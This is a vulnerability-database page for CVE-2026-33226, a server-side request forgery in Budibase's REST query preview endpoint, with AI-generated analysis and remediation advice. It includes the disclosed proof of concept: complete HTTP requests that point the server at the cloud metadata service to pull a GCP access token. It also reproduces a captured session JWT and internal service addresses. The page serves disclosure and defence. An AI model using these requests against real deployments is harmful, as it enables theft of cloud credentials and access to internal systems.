Kubernetes
CVE-2026-33226
HIGH
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as admin user
-
DeliveryAccess REST datasource query preview endpoint
-
ExploitSupply arbitrary internal URL in path parameter
-
ExecutionServer makes unvalidated HTTP request
-
ImpactRetrieve cloud metadata or internal service responses
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Credential Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Authenticated admin user with access to REST datasource query preview endpoint. Attacker supplies arbitrary URL in |
| Impact | This vulnerability presents critical real-world risk despite requiring high privileges (PR:H in CVSS vector). The changed scope (S:C) in CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N accurately reflects that compromise extends beyond the Budibase application boundary to cloud infrastructure and internal services. The proof-of-concept demonstrates trivial exploitation (AC:L) with immediate impact: GCP OAuth2 token theft grants full cloud-platform access, CouchDB compromise exposes all application data, and Kubernetes API access enables cluster-wide lateral movement. The vulnerability is particularly dangerous in cloud deployments (tagged Docker, Kubernetes, Google, Microsoft) where metadata endpoints are standard attack targets. While requiring admin credentials raises the bar, admin accounts are common targets for phishing and credential stuffing, and many organizations grant builder permissions broadly for low-code platform adoption. The availability of a complete, tested POC with actual credential theft evidence significantly increases exploitation likelihood. For cloud-hosted Budibase instances, this should be treated as a critical priority regardless of the PR:H requirement, as the scope change and demonstrated cloud credential theft represent material business risk. |
| Exploit ScenarioDerived | An attacker with stolen or compromised Budibase admin credentials authenticates to the platform and retrieves available REST datasource IDs through the public API endpoint. They then submit a malicious query preview request targeting http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token with appropriate metadata headers, causing the Budibase server to fetch and return a valid GCP OAuth2 access token with cloud-platform scope. Using this token, the attacker authenticates to GCP APIs and gains full control over the victim's cloud project, including the ability to read secrets, modify infrastructure, exfiltrate data from storage buckets and databases, and pivot to other connected services. The complete proof-of-concept with actual HTTP requests and stolen credentials demonstrates this attack requires only basic HTTP client skills and succeeds with low complexity. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 18, 2026
Budibase, a low-code platform distributed as a Docker/Kubernetes application, contains a Server-Side Request Forgery (SSRF) vulnerability in its REST datasource query preview endpoint. Authenticated admin users can force the server to make HTTP requests to arbitrary URLs including cloud metadata services, internal networks, and Kubernetes APIs. A detailed proof-of-concept exists demonstrating theft of GCP OAuth2 tokens with cloud-platform scope, CouchDB credential extraction, and internal service enumeration. The CVSS score of 8.7 reflects high confidentiality and integrity impact with changed scope, requiring high privileges but low attack complexity.
RemediationAI
Organizations running Budibase should immediately consult the vendor security advisory at https://github.com/Budibase/budibase/security/advisories/GHSA-4647-wpjq-hh7f for patched versions and upgrade instructions. Until patching is completed, implement network-level controls to restrict outbound HTTP requests from Budibase pods or containers using egress filtering rules that block RFC 1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback addresses (127.0.0.0/8, ::1/128), link-local ranges (169.254.0.0/16, fe80::/10), and internal DNS resolution for .svc.cluster.local domains. In cloud environments, use VPC firewall rules or security groups to prevent access to metadata endpoints (169.254.169.254) from Budibase workloads. For Kubernetes deployments, implement NetworkPolicy resources to restrict pod egress to only explicitly required external services. As an additional defense-in-depth measure, audit admin and builder role assignments to minimize the number of accounts with privileges to exploit this vulnerability, and monitor REST datasource creation and query preview API usage for suspicious activity targeting internal IP ranges or metadata endpoints.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in npm
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The vulnerability affects the Budibase npm package (pkg:npm/budibase) in the REST datasource query preview functionality implemented in packages/server/src/api/controllers/query.ts. The preview() handler accepts user-supplied fields.path parameters and passes them directly to node-fetch via RestClient.read() without validating hostnames or IP addresses against SSRF blocklists. This is a classic CWE-918 (Server-Side Request Forgery) issue where insufficient input validation allows attackers to abuse the server as a proxy. The application fails to block RFC 1918 private ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback addresses (127.0.0.1, ::1), link-local addresses (169.254.0.0/16 used by cloud metadata services), and Kubernetes internal DNS names (.svc.cluster.local). The vulnerability is exploitable through the standard HTTP API using session-based authentication (JWT cookies), requiring only that the attacker have admin or builder role privileges and access to a valid REST datasource ID.
Know when Kubernetes gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N
Primary rating from Vendor (https://github.com/Budibase/budibase) · only source for this CVE.
CVSS VectorVendor: https://github.com/Budibase/budibase
DescriptionCVE.org
Summary
The REST datasource query preview endpoint (POST /api/queries/preview) makes server-side HTTP requests to any URL supplied by the user in fields.path with no validation. An authenticated admin can reach internal services that are not exposed to the internet - including cloud metadata endpoints (AWS/GCP/Azure), internal databases, Kubernetes APIs, and other pods on the internal network. On GCP this leads to OAuth2 token theft with cloud-platform scope (full GCP access). On any deployment it enables full internal network enumeration.
Details
The vulnerable handler is in packages/server/src/api/controllers/query.ts (preview()). It reads fields.path from the request body and passes it directly to the REST HTTP client without any IP or hostname validation:
fields.path → RestClient.read({ path }) → node-fetch(path)No blocklist exists for:
- Loopback (
127.0.0.1,::1) - RFC 1918 ranges (
10.x.x.x,172.16-31.x.x,192.168.x.x) - Link-local / cloud metadata (
169.254.x.x) - Internal Kubernetes DNS (
.svc.cluster.local)
The datasourceId field must reference an existing REST-type datasource. This is trivially obtained via GET /api/datasources (lists all datasources with their IDs) or created on-demand with a single POST - no base URL is required and fields.path overrides it entirely.
PoC
Step 1 - Get session token
POST /api/global/auth/default/login HTTP/1.1
Host: budibase.dev.com
Content-Type: application/json
{"username": "admin@example.com", "password": "password"}Response sets Cookie: budibase:auth=<JWT>.
Step 2 - Get a REST datasourceId
GET /api/datasources HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93bPick any _id where "source": "REST".
Captured from this engagement:
- Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs - App ID:
app_dev_3dbfeba315fd4baa8fb6202fe517e93b - REST datasource ID:
datasource_49d5a1ed1c6149e48c4de0923e5b20c5
Step 3 - Send SSRF request
Change fields.path to any internal URL. Examples below.
3a. Cloud metadata - GCP OAuth2 token
POST /api/queries/preview HTTP/1.1
Host: budibase.dev.com
Cookie: budibase:auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiJ1c19kY2EyMDk0NDdjMGQ0YjI2YjkxNWVmNGRhYTNjMTUzMCIsInNlc3Npb25JZCI6ImVkNTZlNDRiYjg3ODQyNDU5MmJlZmZlMWFjNmY3OTkzIiwidGVuYW50SWQiOiJkZWZhdWx0IiwiZW1haWwiOiJ0ZXN0X2FkbWluX3VzZXJAdGVzdHRlc3QxMjMuY29tIiwiaWF0IjoxNzcxOTMxNjQ2fQ.O7hCEO8z95dW64hilJ_W80JU0AJqdCC_ZlAPRPlKLVs
x-budibase-app-id: app_dev_3dbfeba315fd4baa8fb6202fe517e93b
Content-Type: application/json
{
"datasourceId": "datasource_49d5a1ed1c6149e48c4de0923e5b20c5",
"name": "ssrf", "parameters": [], "transformer": "return data", "queryVerb": "read",
"fields": {
"path": "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
"headers": {"Metadata-Flavor": "Google"},
"queryString": "", "requestBody": ""
},
"schema": {}
}Response:
{"access_token": "ya29.d.c0AZ4bNpYDUK...", "expires_in": 3598, "token_type": "Bearer"}Impact
_What kind of vulnerability is it? Who is impacted?_ Any authenticated admin/builder user can make the Budibase server issue HTTP requests to any network-reachable address. Confirmed impact on this engagement:
- Cloud credential theft - GCP OAuth2 token with
cloud-platformscope stolen from169.254.169.254. Token verified valid against GCP Projects API, granting full access to all GCP services in the project. - Internal database access - CouchDB reached at
budibase-svc-couchdb:5984with extracted credentials, exposing all application data. - Internal service enumeration - MinIO (
minio-service:9000), Redis, and internal worker APIs (127.0.0.1:4002) all reachable. - Kubernetes cluster access - K8s API server reachable at
kubernetes.default.svcusing the pod's mounted service account token.
The vulnerability affects all deployment environments (GCP, AWS, Azure, bare-metal, Docker Compose, Kubernetes). The specific impact depends on what services are reachable from the Budibase pod, but cloud metadata theft is possible on any cloud-hosted instance.
Detected by: Abdulrahman Albatel Abdullah Alrasheed
Executive ViewAI
Budibase instances are vulnerable to Server-Side Request Forgery attacks that allow authenticated administrators to extract sensitive credentials and cloud tokens from internal systems and cloud metadata services. Organizations using Budibase in production environments with access to cloud infrastructure or sensitive internal networks face immediate risk of credential compromise and unauthorized cloud service access.
Disable the REST datasource query preview feature entirely if not actively required for operations. Implement network-level blocking between Budibase and cloud metadata service endpoints (GCP: 169.254.169.254, AWS: 169.254.169.254). Deploy WAF rules to block requests from Budibase to internal IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16) and Kubernetes API endpoints. Implement egress filtering to whitelist only required external destinations. Require MFA for all admin accounts and implement audit logging on all REST datasource queries. Run Budibase with minimal IAM/RBAC permissions and restrict service account credentials used by the application.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.
Affected Products (CPE)CVE.org
Related Vulnerabilities in SSRF and Server-Side Request Forgery
View all 2More in Kubernetes
View allA critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access
Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio
Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres
A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c
Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter
A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate
Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne
Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai
The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4
Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can
Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar
GHSA-4647-wpjq-hh7f
NVD
CVE.org
EPSS
VulDB
Exploit-DB